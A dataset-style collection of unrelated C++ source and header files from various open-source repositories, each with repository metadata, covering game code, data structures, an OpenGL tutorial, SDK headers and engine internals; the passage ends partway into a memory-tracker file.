#ifndef LOCATION_H #define LOCATION_H #include <vector> class Base; class Customer; class Source; class Location { public: Location(); Location(int index, std::vector<Base*> &neighborsBases, std::vector<Customer*> &neighborsCustomers, std::vector<Source*> &neighborsSources); enum Type{BASE, CUSTOMER, SOURCE}; virtual ~Location(); int getIndex(); std::vector<Base*> getNeighborsBases() const; std::vector<Customer*> getNeighborsCustomers() const; std::vector<Source*> getNeighborsSources() const; void setIndex(int); void setNeighborsBases(std::vector<Base*>); void setNeighborsCustomers(std::vector<Customer*>); void setNeighborsSources(std::vector<Source*>); protected: int index_; std::vector<Base*> neighborsBases_; std::vector<Customer*> neighborsCustomers_; std::vector<Source*> neighborsSources_; Type type_; }; #endif // LOCATION_H

da305b7fa058459e59591d534b6f8ccafc370f33

e542234cbf0eea3883b934ee67f97326377de02f

/EnemySnipper.hpp

194187a1b40c4a3a73a79907b77035df6c48f895

permissive

kaitokidi/WhoTookMyHat

8e66e510e10451a3499a2fa361c8892e8f7b818f

dc4ebdbe880a10cb681bf2749095f4bbbbe51f88

refs/heads/master

UTF-8

C++

hpp

#ifndef ENEMYSNIPPER_HPP #define ENEMYSNIPPER_HPP #include "Enemy.hpp" #include "Player.hpp" #include "EnemyShooter.hpp" class EnemySnipper : public Enemy, public EnemyShooter { public: //TODO virtual void init(); EnemySnipper(std::list < Enemy* >* e, Player* p); virtual void update(float deltaTime, Background* bg); virtual void movement(float deltaTime, Background *bg); protected: Player* _player; }; #endif // ENEMYSNIPPER_HPP

8cd8538339e5a1170a27aef802a5f18cacfeeeab

6115a9fffbc4e0d94a8aae1bffe79557ae059a09

/FinalProject/avltreeindex.h

2f774eea408d83aa6352573bdd3f0f40ebf8690f

no_license

natesotoole1/SearchEngine

74bc40a3b438758699a9f3a662a61c9f72125a96

b3623634acda01f9135e80cd7d00deae3d8f756c

refs/heads/master

UTF-8

C++

h

#ifndef AVLTreeIndex_H #define AVLTreeIndex_H #include <iostream> #include <fstream> #include <string> #include <cstdio> #include "indexinterface.h" #include "term.h" // git using namespace std; /*! \brief * AVL Node implementation for the AVL Tree structure. */ // Node declaration struct AVL_Node { Term* data;///< Term pointer where all the data is held //struct AVL_Node root; struct AVL_Node *left; ///< left child struct AVL_Node *right; ///< right child int height; ///< height of tree }; /*! \brief * AVLTreeIndex.h has AVL Trees public and private classes in them. */ // Class declaration class AVLTreeIndex { public: AVLTreeIndex(); ///< constructor void insert(Term*); ///< public insert function that calls the private function AVL_Node* balance(AVL_Node*&); ///< figures out when to rotate child or not int height(AVL_Node *&); ///< returns the height of the tree int diff(AVL_Node *&); ///< returns the difference in height int max(int, int); ///< gets the max height AVL_Node* rotateRightChild(AVL_Node*&); ///< rotate right child AVL_Node* rotateLeftChild(AVL_Node*&); ///< rotate left child AVL_Node* doubleLeftChild(AVL_Node*&); ///< rotate left child than rotate right child AVL_Node* doubleRightChild(AVL_Node*&); ///< rotate right child than rotate left child Term* find(string); ///< public find function that is called from the interface and than passes it to private function void createPersistence(int, ofstream&); ///< public call to create persistence than calls the private function void clearTree(); ///< public call to clear index than calls the private function private: AVL_Node* root; ///< root of the tree void insert(AVL_Node*& ,Term*); ///< inserts node if null than checks balance to see if it is needed to rotate void createPersistence(AVL_Node*& , int, ofstream&); ///< creates the persistence from each individual avl tree void continue_search(AVL_Node*& curr, string word); ///< finds word called by query void clearTree(AVL_Node*); /// <clear the tree }; #endif // AVLTreeINDEX_H

31c05ddd07b9d79686913c8c08a00eaf1395abbb

6fdd703d48a01bb73bf658c8d3aac0d98f965967

/src_cpp/elfgames/go/train/data_loader.h

472fb3d536934f874a4ab6fd4147fce6d3ed1d0d

permissive

roughsoft/ELF

27f762aad66f4946411f2fdae71a45fabd028730

751eb1cf85aac15e3c3c792a47afa1ac64ea810c

refs/heads/master

UTF-8

C++

h

/** * Copyright (c) 2018-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #pragma once #include "../common/record.h" #include "elf/distributed/shared_reader.h" #include "elf/distributed/shared_rw_buffer2.h" struct Stats { std::atomic<int> client_size; std::atomic<int> buffer_size; std::atomic<int> failed_count; std::atomic<int> msg_count; std::atomic<uint64_t> total_msg_size; Stats() : client_size(0), buffer_size(0), failed_count(0), msg_count(0), total_msg_size(0) {} std::string info() const { std::stringstream ss; ss << "#msg: " << buffer_size << " #client: " << client_size << ", "; ss << "Msg count: " << msg_count << ", avg msg size: " << (float)(total_msg_size) / msg_count << ", failed count: " << failed_count; return ss.str(); } void feed(const elf::shared::InsertInfo& insert_info) { if (!insert_info.success) { failed_count++; } else { buffer_size += insert_info.delta; msg_count++; total_msg_size += insert_info.msg_size; } } }; class DataInterface { public: virtual void OnStart() {} virtual elf::shared::InsertInfo OnReceive( const std::string& identity, const std::string& msg) = 0; virtual bool OnReply(const std::string& identity, std::string* msg) = 0; }; class DataOnlineLoader { public: DataOnlineLoader(const elf::shared::Options& net_options) : logger_(elf::logging::getLogger("DataOnlineLoader-", "")) { auto curr_timestamp = time(NULL); const std::string database_name = "data-" + std::to_string(curr_timestamp) + ".db"; reader_.reset(new elf::shared::Reader(database_name, net_options)); std::cout << reader_->info() << std::endl; } void start(DataInterface* interface) { auto proc_func = [&, interface]( elf::shared::Reader* reader, const std::string& identity, const std::string& msg) -> bool { (void)reader; try { auto info = interface->OnReceive(identity, msg); stats_.feed(info); /* if (options_.verbose) { std::cout << "Content from " << identity << ", msg_size: " << msg.size() << ", " << stats_.info() << std::endl; } */ if (stats_.msg_count % 1000 == 0) { std::cout << elf_utils::now() << ", last_identity: " << identity << ", " << stats_.info() << std::endl; } return info.success; } catch (...) { logger_->error("Data malformed! String is {}", msg); return false; } }; auto replier_func = [&, interface]( elf::shared::Reader* reader, const std::string& identity, std::string* msg) -> bool { (void)reader; interface->OnReply(identity, msg); if (logger_->should_log(spdlog::level::level_enum::debug)) { logger_->debug( "Replier: about to send: recipient {}; msg {}; reader {}", identity, *msg, reader_->info()); } return true; }; reader_->startReceiving( proc_func, replier_func, [interface]() { interface->OnStart(); }); } ~DataOnlineLoader() {} private: std::unique_ptr<elf::shared::Reader> reader_; Stats stats_; std::shared_ptr<spdlog::logger> logger_; };

759a015ca9170f3456ab0ac5f3a1626efca68ad7

483428f23277dc3fd2fad6588de334fc9b8355d2

/hpp/iOSDevice32/Release/uTPLb_MemoryStreamPool.hpp

bee8378fa9718a035cca20b9ad1bd10f11e6c5d4

no_license

gzwplato/LockBox3-1

7084932d329beaaa8169b94729c4b05c420ebe44

89e300b47f8c1393aefbec01ffb89ddf96306c55

refs/heads/master

UTF-8

C++

hpp

// CodeGear C++Builder // Copyright (c) 1995, 2015 by Embarcadero Technologies, Inc. // All rights reserved // (DO NOT EDIT: machine generated header) 'uTPLb_MemoryStreamPool.pas' rev: 29.00 (iOS) #ifndef Utplb_memorystreampoolHPP #define Utplb_memorystreampoolHPP #pragma delphiheader begin #pragma option push #pragma option -w- // All warnings off #pragma option -Vx // Zero-length empty class member #pragma pack(push,8) #include <System.hpp> #include <SysInit.hpp> #include <System.Classes.hpp> //-- user supplied ----------------------------------------------------------- namespace Utplb_memorystreampool { //-- forward type declarations ----------------------------------------------- __interface IMemoryStreamPool; typedef System::DelphiInterface<IMemoryStreamPool> _di_IMemoryStreamPool; class DELPHICLASS TPooledMemoryStream; //-- type declarations ------------------------------------------------------- __interface INTERFACE_UUID("{ADB2D4BA-40F6-4249-923E-201D4719609B}") IMemoryStreamPool : public System::IInterface { virtual int __fastcall BayCount(void) = 0 ; virtual void __fastcall GetUsage(int Size, int &Current, int &Peak) = 0 ; virtual int __fastcall GetSize(int Idx) = 0 ; virtual System::Classes::TMemoryStream* __fastcall NewMemoryStream(int InitSize) = 0 ; }; #pragma pack(push,4) class PASCALIMPLEMENTATION TPooledMemoryStream : public System::Classes::TMemoryStream { typedef System::Classes::TMemoryStream inherited; protected: _di_IMemoryStreamPool FPool; int FCoVector; virtual void * __fastcall Realloc(int &NewCapacity); public: __fastcall TPooledMemoryStream(const _di_IMemoryStreamPool Pool1); public: /* TMemoryStream.Destroy */ inline __fastcall virtual ~TPooledMemoryStream(void) { } }; #pragma pack(pop) //-- var, const, procedure --------------------------------------------------- extern DELPHI_PACKAGE _di_IMemoryStreamPool __fastcall NewPool(void); } /* namespace Utplb_memorystreampool */ #if !defined(DELPHIHEADER_NO_IMPLICIT_NAMESPACE_USE) && !defined(NO_USING_NAMESPACE_UTPLB_MEMORYSTREAMPOOL) using namespace Utplb_memorystreampool; #endif #pragma pack(pop) #pragma option pop #pragma delphiheader end. //-- end unit ---------------------------------------------------------------- #endif // Utplb_memorystreampoolHPP

55d577d1a75a9ab17fa7b5d2dfee420f67de653e

c4d0cc1b8f7a0c4eefb405e105ac9727e1a98aad

/FlashCards/src/StringWordSplitter.cpp

fdab3206d76415785a84cd483dcc64795aae68ce

no_license

KNITcpp/FlashCards

513ed1f7fb2829692538636e0e6b65847bad8da9

7ac1c359d6a6f0aa5639bb64a39696b2f5eb63e2

refs/heads/master

UTF-8

C++

cpp

#include "StringWordSplitter.h" #include <string> #include <vector> StringWordSplitter::StringWordSplitter(std::wstring strToBeSplitted) { std::wstring singleWord; for(int i=0; i<strToBeSplitted.length(); ++i) { if(strToBeSplitted[i] == L' ') { if(singleWord.size()!=0) { words.push_back(singleWord); singleWord.clear(); } } else singleWord.push_back(strToBeSplitted[i]); } if(singleWord.size()!=0) //something left to push after loop words.push_back(singleWord); }

aaa8f706eca185ad9f7dd72dda3930415ee4cc22

e4f29494a0ecb0a19b231a17e51127a7ddbfe387

/TcpDebug.ino

4c4d7c9df0d7cf9d84c51667ee552e72d3a97973

no_license

EvertDekker/Nixieclock3V1

de9fb41a14decd21a2a86ba4914bc6c5b1839414

67a97d38f1895dbb285c541efe6988dcb04496fc

refs/heads/master

UTF-8

C++

ino

void init_telnet_debug(){ #ifdef TELNET if (MDNS.begin(hostn)) { Serial.println("* MDNS responder started. Hostname -> "); Serial.println(hostn); } MDNS.addService("telnet", "tcp", 23); // Initialize the telnet server of RemoteDebug Debug.begin(hostn); // Initiaze the telnet server Debug.setResetCmdEnabled(true); // Enable the reset command //Debug.showTime(true); // To show time #endif }

378d41da667801b00bd623eb7fc43dcdb5cc28d6

2bd4fa284f4c891fa35b7465449ea04534ea01fb

/hdmaproifilter/src/perception/lib/base/registerer.cpp

6c5407d1b73c0605cbf0c3b88b4f854a302b290e

no_license

Playfish/apollo_perception

cdd74e4a802159ceadc513e9f46ae1799e911ba1

6a50f529f0f6d789d2a06077480e79c9f4bc68c8

refs/heads/master

UTF-8

C++

cpp

/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "perception/lib/base/registerer.h" #include <string> #include <vector> namespace apollo { namespace perception { BaseClassMap& GlobalFactoryMap() { static BaseClassMap factory_map; return factory_map; } bool GetRegisteredClasses( const std::string& base_class_name, std::vector<std::string>* registered_derived_classes_names) { CHECK_NOTNULL(registered_derived_classes_names); BaseClassMap& map = GlobalFactoryMap(); auto iter = map.find(base_class_name); if (iter == map.end()) { AERROR << "class not registered:" << base_class_name; return false; } for (auto pair : iter->second) { registered_derived_classes_names->push_back(pair.first); } return true; } } // namespace perception } // namespace apollo

d968c4cfa9c0b7cc62efc1236b19bd9c23b807d5

d78ab1e4cb8a669fbd4b5346683345c3926f4e07

/Engine/script/runtimescriptvalue.h

133267d203b3d4efedec67a08ef70fad569de9be

permissive

sonneveld/ags

4baca2321a1c1a13621322eb107d5338e9231fbf

539a40a25f4caa7b7cec678084cfcde252418c77

refs/heads/ags3--sdl2

NOASSERTION

C

UTF-8

C++

h

//============================================================================= // // Adventure Game Studio (AGS) // // Copyright (C) 1999-2011 Chris Jones and 2011-20xx others // The full list of copyright holders can be found in the Copyright.txt // file, which is part of this source code distribution. // // The AGS source code is provided under the Artistic License 2.0. // A copy of this license can be found in the file License.txt and at // http://www.opensource.org/licenses/artistic-license-2.0.php // //============================================================================= // // Runtime script value struct // //============================================================================= #ifndef __AGS_EE_SCRIPT__RUNTIMESCRIPTVALUE_H #define __AGS_EE_SCRIPT__RUNTIMESCRIPTVALUE_H #include "script/script_api.h" #include "util/memory.h" #include "ac/dynobj/cc_dynamicobject.h" struct ICCStaticObject; struct StaticArray; enum ScriptValueType { kScValUndefined, // to detect errors kScValInteger, // as strictly 32-bit integer (for integer math) kScValFloat, // as float (for floating point math), 32-bit kScValPluginArg, // an 32-bit value, passed to a script function when called // directly by plugin; is allowed to represent object pointer kScValStackPtr, // as a pointer to stack entry kScValData, // as a container for randomly sized data (usually array) kScValGlobalVar, // as a pointer to script variable; used only for global vars, // as pointer to local vars must have StackPtr type so that the // stack allocation could work kScValStringLiteral,// as a pointer to literal string (array of chars) kScValStaticObject, // as a pointer to static global script object kScValStaticArray, // as a pointer to static global array (of static or dynamic objects) kScValDynamicObject,// as a pointer to managed script object kScValPluginObject, // as a pointer to object managed by plugin (similar to // kScValDynamicObject, but has backward-compatible limitations) kScValStaticFunction,// as a pointer to static function kScValPluginFunction,// temporary workaround for plugins (unsafe function ptr) kScValObjectFunction,// as a pointer to object member function, gets object pointer as // first parameter kScValCodePtr, // as a pointer to element in byte-code array }; struct RuntimeScriptValue { public: RuntimeScriptValue() { Type = kScValUndefined; IValue = 0; Ptr = nullptr; MgrPtr = nullptr; Size = 0; } RuntimeScriptValue(int32_t val) { Type = kScValInteger; IValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 4; } ScriptValueType Type; // The 32-bit value used for integer/float math and for storing // variable/element offset relative to object (and array) address union { int32_t IValue; // access Value as int32 type float FValue; // access Value as float type }; // Pointer is used for storing... pointers - to objects, arrays, // functions and stack entries (other RSV) union { char *Ptr; // generic data pointer RuntimeScriptValue *RValue;// access ptr as a pointer to Runtime Value ScriptAPIFunction *SPfn; // access ptr as a pointer to Script API Static Function ScriptAPIObjectFunction *ObjPfn; // access ptr as a pointer to Script API Object Function }; // TODO: separation to Ptr and MgrPtr is only needed so far as there's // a separation between Script*, Dynamic* and game entity classes. // Once those classes are merged, it will no longer be needed. union { void *MgrPtr;// generic object manager pointer ICCStaticObject *StcMgr;// static object manager StaticArray *StcArr;// static array manager ICCDynamicObject *DynMgr;// dynamic object manager }; // The "real" size of data, either one stored in I/FValue, // or the one referenced by Ptr. Used for calculating stack // offsets. // Original AGS scripts always assumed pointer is 32-bit. // Therefore for stored pointers Size is always 4 both for x32 // and x64 builds, so that the script is interpreted correctly. int Size; inline bool IsValid() const { return Type != kScValUndefined; } inline bool IsNull() const { return Ptr == nullptr && IValue == 0; } inline bool GetAsBool() const { return !IsNull(); } inline char* GetPtrWithOffset() const { return Ptr + IValue; } inline RuntimeScriptValue &Invalidate() { Type = kScValUndefined; IValue = 0; Ptr = nullptr; MgrPtr = nullptr; Size = 0; return *this; } inline RuntimeScriptValue &SetUInt8(uint8_t val) { Type = kScValInteger; IValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 1; return *this; } inline RuntimeScriptValue &SetInt16(int16_t val) { Type = kScValInteger; IValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 2; return *this; } inline RuntimeScriptValue &SetInt32(int32_t val) { Type = kScValInteger; IValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetFloat(float val) { Type = kScValFloat; FValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetInt32AsBool(bool val) { return SetInt32(val ? 1 : 0); } inline RuntimeScriptValue &SetFloatAsBool(bool val) { return SetFloat(val ? 1.0F : 0.0F); } inline RuntimeScriptValue &SetPluginArgument(int32_t val) { Type = kScValPluginArg; IValue = val; Ptr = nullptr; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetStackPtr(RuntimeScriptValue *stack_entry) { Type = kScValStackPtr; IValue = 0; RValue = stack_entry; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetData(char *data, int size) { Type = kScValData; IValue = 0; Ptr = data; MgrPtr = nullptr; Size = size; return *this; } inline RuntimeScriptValue &SetGlobalVar(RuntimeScriptValue *glvar_value) { Type = kScValGlobalVar; IValue = 0; RValue = glvar_value; MgrPtr = nullptr; Size = 4; return *this; } // TODO: size? inline RuntimeScriptValue &SetStringLiteral(const char *str) { Type = kScValStringLiteral; IValue = 0; Ptr = const_cast<char *>(str); MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetStaticObject(void *object, ICCStaticObject *manager) { Type = kScValStaticObject; IValue = 0; Ptr = (char*)object; StcMgr = manager; Size = 4; return *this; } inline RuntimeScriptValue &SetStaticArray(void *object, StaticArray *manager) { Type = kScValStaticArray; IValue = 0; Ptr = (char*)object; StcArr = manager; Size = 4; return *this; } inline RuntimeScriptValue &SetDynamicObject(void *object, ICCDynamicObject *manager) { Type = kScValDynamicObject; IValue = 0; Ptr = (char*)object; DynMgr = manager; Size = 4; return *this; } inline RuntimeScriptValue &SetPluginObject(void *object, ICCDynamicObject *manager) { Type = kScValPluginObject; IValue = 0; Ptr = (char*)object; DynMgr = manager; Size = 4; return *this; } inline RuntimeScriptValue &SetStaticFunction(ScriptAPIFunction *pfn) { Type = kScValStaticFunction; IValue = 0; SPfn = pfn; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetPluginFunction(void *pfn) { Type = kScValPluginFunction; IValue = 0; Ptr = (char*)pfn; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetObjectFunction(ScriptAPIObjectFunction *pfn) { Type = kScValObjectFunction; IValue = 0; ObjPfn = pfn; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue &SetCodePtr(char *ptr) { Type = kScValCodePtr; IValue = 0; Ptr = ptr; MgrPtr = nullptr; Size = 4; return *this; } inline RuntimeScriptValue operator !() const { return RuntimeScriptValue().SetInt32AsBool(!GetAsBool()); } inline bool operator ==(const RuntimeScriptValue &rval) { return ((intptr_t)Ptr + (intptr_t)IValue) == ((intptr_t)rval.Ptr + (intptr_t)rval.IValue); } inline bool operator !=(const RuntimeScriptValue &rval) { return !(*this == rval); } // FIXME: find out all certain cases when we are reading a pointer and store it // as 32-bit value here. There should be a solution to distinct these cases and // store value differently, otherwise it won't work for 64-bit build. inline RuntimeScriptValue ReadValue() { RuntimeScriptValue rval; switch(this->Type) { case kScValStackPtr: { if (RValue->Type == kScValData) { rval.SetInt32(*(int32_t*)(RValue->GetPtrWithOffset() + this->IValue)); } else { rval = *RValue; } } break; case kScValGlobalVar: { if (RValue->Type == kScValData) { rval.SetInt32(AGS::Common::Memory::ReadInt32LE(RValue->GetPtrWithOffset() + this->IValue)); } else { rval = *RValue; } } break; case kScValStaticObject: case kScValStaticArray: { rval.SetInt32(this->StcMgr->ReadInt32(this->Ptr, this->IValue)); } break; case kScValDynamicObject: { rval.SetInt32(this->DynMgr->ReadInt32(this->Ptr, this->IValue)); } break; default: { // 64 bit: Memory reads are still 32 bit rval.SetInt32(*(int32_t*)this->GetPtrWithOffset()); } } return rval; } // Helper functions for reading or writing values from/to // object, referenced by this Runtime Value. // Copy implementation depends on value type. uint8_t ReadByte(); int16_t ReadInt16(); int32_t ReadInt32(); bool WriteByte(uint8_t val); bool WriteInt16(int16_t val); bool WriteInt32(int32_t val); bool WriteValue(const RuntimeScriptValue &rval); // Convert to most simple pointer type by resolving RValue ptrs and applying offsets; // non pointer types are left unmodified RuntimeScriptValue &DirectPtr(); // Similar to above, a slightly speed-optimised version for situations when we can // tell for certain that we are expecting a pointer to the object and not its (first) field. RuntimeScriptValue &DirectPtrObj(); // Resolve and return direct pointer to the referenced data; non pointer types return IValue intptr_t GetDirectPtr() const; }; #endif // __AGS_EE_SCRIPT__RUNTIMESCRIPTVALUE_H

d43be44d339e4c748144208e5d4bd8fe9a5894e7

3368db882d23eba1fd8046d9e46583d7324d4dea

/Lesson 6/source/06.) Textures/win_OpenGLApp.cpp

2a8751f01791f7cd05950c39fb5a5f26b9865e4b

no_license

Juniperbrew/MS-OpenGLTutorial-Win32

8313923fc34948aafd7bc71de8d99552f734a454

6f6908999f1d887e41e311c019ab96724a60ac24

refs/heads/master

UTF-8

C++

cpp

#include "common_header.h" #include "win_OpenGLApp.h" COpenGLWinApp appMain; char Keys::kp[256] = {0}; /*----------------------------------------------- Name: key Params: iKey - virtual key code Result: Return true if key is pressed. /*---------------------------------------------*/ int Keys::key(int iKey) { return (GetAsyncKeyState(iKey)>>15)&1; } /*----------------------------------------------- Name: onekey Params: iKey - virtual key code Result: Return true if key was pressed, but only once (the key must be released). /*---------------------------------------------*/ int Keys::onekey(int iKey) { if(key(iKey) && !kp[iKey]){kp[iKey] = 1; return 1;} if(!key(iKey))kp[iKey] = 0; return 0; } /*----------------------------------------------- Name: resetTimer Params: none Result: Resets application timer (for example after re-activation of application). /*---------------------------------------------*/ void COpenGLWinApp::resetTimer() { tLastFrame = clock(); fFrameInterval = 0.0f; } /*----------------------------------------------- Name: updateTimer Params: none Result: Updates application timer. /*---------------------------------------------*/ void COpenGLWinApp::updateTimer() { clock_t tCur = clock(); fFrameInterval = float(tCur-tLastFrame)/float(CLOCKS_PER_SEC); tLastFrame = tCur; } /*----------------------------------------------- Name: sof Params: fVal Result: Stands for speed optimized float. /*---------------------------------------------*/ float COpenGLWinApp::sof(float fVal) { return fVal*fFrameInterval; } /*----------------------------------------------- Name: initializeApp Params: a_sAppName Result: Initializes app with specified (unique) application identifier. /*---------------------------------------------*/ bool COpenGLWinApp::initializeApp(string a_sAppName) { sAppName = a_sAppName; hMutex = CreateMutex(NULL, 1, sAppName.c_str()); if(GetLastError() == ERROR_ALREADY_EXISTS) { MessageBox(NULL, "This application already runs!", "Multiple Instances Found.", MB_ICONINFORMATION | MB_OK); return 0; } return 1; } /*----------------------------------------------- Name: registerAppClass Params: a_hInstance - application instance handle Result: Registers application window class. /*---------------------------------------------*/ LRESULT CALLBACK globalMessageHandler(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam) { return appMain.msgHandlerMain(hWnd, uiMsg, wParam, lParam); } void COpenGLWinApp::registerAppClass(HINSTANCE a_hInstance) { WNDCLASSEX wcex; memset(&wcex, 0, sizeof(WNDCLASSEX)); wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_OWNDC; wcex.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wcex.hIcon = LoadIcon(hInstance, IDI_WINLOGO); wcex.hIconSm = LoadIcon(hInstance, IDI_WINLOGO); wcex.hCursor = LoadCursor(hInstance, IDC_ARROW); wcex.hInstance = hInstance; wcex.lpfnWndProc = globalMessageHandler; wcex.lpszClassName = sAppName.c_str(); wcex.lpszMenuName = NULL; RegisterClassEx(&wcex); } /*----------------------------------------------- Name: createWindow Params: sTitle - title of created window Result: Creates main application window. /*---------------------------------------------*/ bool COpenGLWinApp::createWindow(string sTitle) { if(MessageBox(NULL, "Would you like to run in fullscreen?", "Fullscreen", MB_ICONQUESTION | MB_YESNO) == IDYES) { DEVMODE dmSettings = {0}; EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dmSettings); // Get current display settings hWnd = CreateWindowEx(0, sAppName.c_str(), sTitle.c_str(), WS_POPUP | WS_CLIPSIBLINGS | WS_CLIPCHILDREN, // This is the commonly used style for fullscreen 0, 0, dmSettings.dmPelsWidth, dmSettings.dmPelsHeight, NULL, NULL, hInstance, NULL); } else hWnd = CreateWindowEx(0, sAppName.c_str(), sTitle.c_str(), WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN, 0, 0, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL); if(!oglControl.initOpenGL(hInstance, &hWnd, 3, 3, initScene, renderScene, releaseScene, &oglControl))return false; ShowWindow(hWnd, SW_SHOW); // Just to send WM_SIZE message again ShowWindow(hWnd, SW_SHOWMAXIMIZED); UpdateWindow(hWnd); return true; } /*----------------------------------------------- Name: appBody Params: none Result: Main application body infinite loop. /*---------------------------------------------*/ void COpenGLWinApp::appBody() { MSG msg; while(1) { if(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { if(msg.message == WM_QUIT)break; // If the message was WM_QUIT then exit application else { TranslateMessage(&msg); // Otherwise send message to appropriate window DispatchMessage(&msg); } } else if(bAppActive) { updateTimer(); oglControl.render(&oglControl); } else Sleep(200); // Do not consume processor power if application isn't active } } /*----------------------------------------------- Name: shutdown Params: none Result: Shuts down application and releases used memory. /*---------------------------------------------*/ void COpenGLWinApp::shutdown() { oglControl.releaseOpenGLControl(&oglControl); DestroyWindow(hWnd); UnregisterClass(sAppName.c_str(), hInstance); COpenGLControl::unregisterSimpleOpenGLClass(hInstance); ReleaseMutex(hMutex); } /*----------------------------------------------- Name: msgHandlerMain Params: whatever Result: Application messages handler. /*---------------------------------------------*/ LRESULT CALLBACK COpenGLWinApp::msgHandlerMain(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam) { PAINTSTRUCT ps; switch(uiMsg) { case WM_PAINT: BeginPaint(hWnd, &ps); EndPaint(hWnd, &ps); break; case WM_CLOSE: PostQuitMessage(0); break; case WM_ACTIVATE: { switch(LOWORD(wParam)) { case WA_ACTIVE: case WA_CLICKACTIVE: bAppActive = true; resetTimer(); break; case WA_INACTIVE: bAppActive = false; break; } break; } case WM_SIZE: oglControl.resizeOpenGLViewportFull(); oglControl.setProjection3D(45.0f, float(LOWORD(lParam))/float(HIWORD(lParam)), 0.001f, 1000.0f); break; default: return DefWindowProc(hWnd, uiMsg, wParam, lParam); } return 0; } /*----------------------------------------------- Name: getInstance Params: none Result: Returns application instance. /*---------------------------------------------*/ HINSTANCE COpenGLWinApp::getInstance() { return hInstance; } /*----------------------------------------------- Name: msgHandlerMain Params: whatever Result: Application messages handler. /*---------------------------------------------*/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR sCmdLine, int iShow) { if(!appMain.initializeApp("06_opengl_3_3")) return 0; appMain.registerAppClass(hInstance); if(!appMain.createWindow("06.) Textures - Tutorial by Michal Bubnar (www.mbsoftworks.sk)")) return 0; appMain.resetTimer(); appMain.appBody(); appMain.shutdown(); return 0; }

8bfe178d65efb2f52470e306b87737b39f700ce6

f80d267d410b784458e61e4c4603605de368de9b

/TESTONE/exampleios/usr/local/include/fit_developer_field_description.hpp

a5af5c51d16055664f81433af69b821385dd83c5

no_license

bleeckerj/Xcode-FIT-TEST

84bdb9e1969a93a6380a9c64dce0a0e715d81fe8

37490e3b1e913dc3dfabdae39b48bddea24f1023

refs/heads/master

UTF-8

C++

hpp

//////////////////////////////////////////////////////////////////////////////// // The following FIT Protocol software provided may be used with FIT protocol // devices only and remains the copyrighted property of Dynastream Innovations Inc. // The software is being provided on an "as-is" basis and as an accommodation, // and therefore all warranties, representations, or guarantees of any kind // (whether express, implied or statutory) including, without limitation, // warranties of merchantability, non-infringement, or fitness for a particular // purpose, are specifically disclaimed. // // Copyright 2017 Dynastream Innovations Inc. //////////////////////////////////////////////////////////////////////////////// // ****WARNING**** This file is auto-generated! Do NOT edit this file. // Profile Version = 20.24Release // Tag = production/akw/20.24.01-0-g5fa480b //////////////////////////////////////////////////////////////////////////////// #if !defined(FIT_DEVELOPER_FIELD_DESCRIPTION_HPP) #define FIT_DEVELOPER_FIELD_DESCRIPTION_HPP #include "fit_field_description_mesg.hpp" #include "fit_developer_data_id_mesg.hpp" #include <vector> namespace fit { class DeveloperFieldDescription { public: DeveloperFieldDescription() = delete; DeveloperFieldDescription(const DeveloperFieldDescription& other); DeveloperFieldDescription(const FieldDescriptionMesg& desc, const DeveloperDataIdMesg& developer); virtual ~DeveloperFieldDescription(); FIT_UINT32 GetApplicationVersion() const; FIT_UINT8 GetFieldDefinitionNumber() const; std::vector<FIT_UINT8> GetApplicationId() const; private: FieldDescriptionMesg* description; DeveloperDataIdMesg* developer; }; } // namespace fit #endif // defined(FIT_FIELD_DEFINITION_HPP)

ec71eee9144a294508e930330ca1e438fb3fc919

32b88f828b33279cfe33420c2ed969131a7df987

/Code/Core/Mem/MemTracker.cpp

777a97039b84548fb8dbfdacb216b93ff26a076f

permissive

punitchandra/fastbuild

53b51f001350104629e71434bb5e521a1bb63cae

8a445d77343bc4881b33a5ebcf31a2ec8777ae2d

refs/heads/master

UTF-8

C++

cpp

// MemTracker.cpp //------------------------------------------------------------------------------ // Includes //------------------------------------------------------------------------------ #include "Core/PrecompiledHeader.h" #include "MemTracker.h" //------------------------------------------------------------------------------ #if defined( MEMTRACKER_ENABLED ) // Includes //------------------------------------------------------------------------------ #include "Core/Mem/MemPoolBlock.h" #include "Core/Process/Atomic.h" #include "Core/Process/Thread.h" #include "Core/Tracing/Tracing.h" // system #include <memory.h> // for memset // Static Data //------------------------------------------------------------------------------ /*static*/ uint32_t MemTracker::s_Id( 0 ); /*static*/ bool MemTracker::s_Enabled( true ); /*static*/ bool MemTracker::s_Initialized( false ); /*static*/ uint32_t MemTracker::s_AllocationCount( 0 ); /*static*/ uint64_t MemTracker::s_Mutex[]; /*static*/ MemTracker::Allocation ** MemTracker::s_AllocationHashTable = nullptr; /*static*/ MemPoolBlock * MemTracker::s_Allocations( nullptr ); // Thread-Local Data //------------------------------------------------------------------------------ THREAD_LOCAL uint32_t 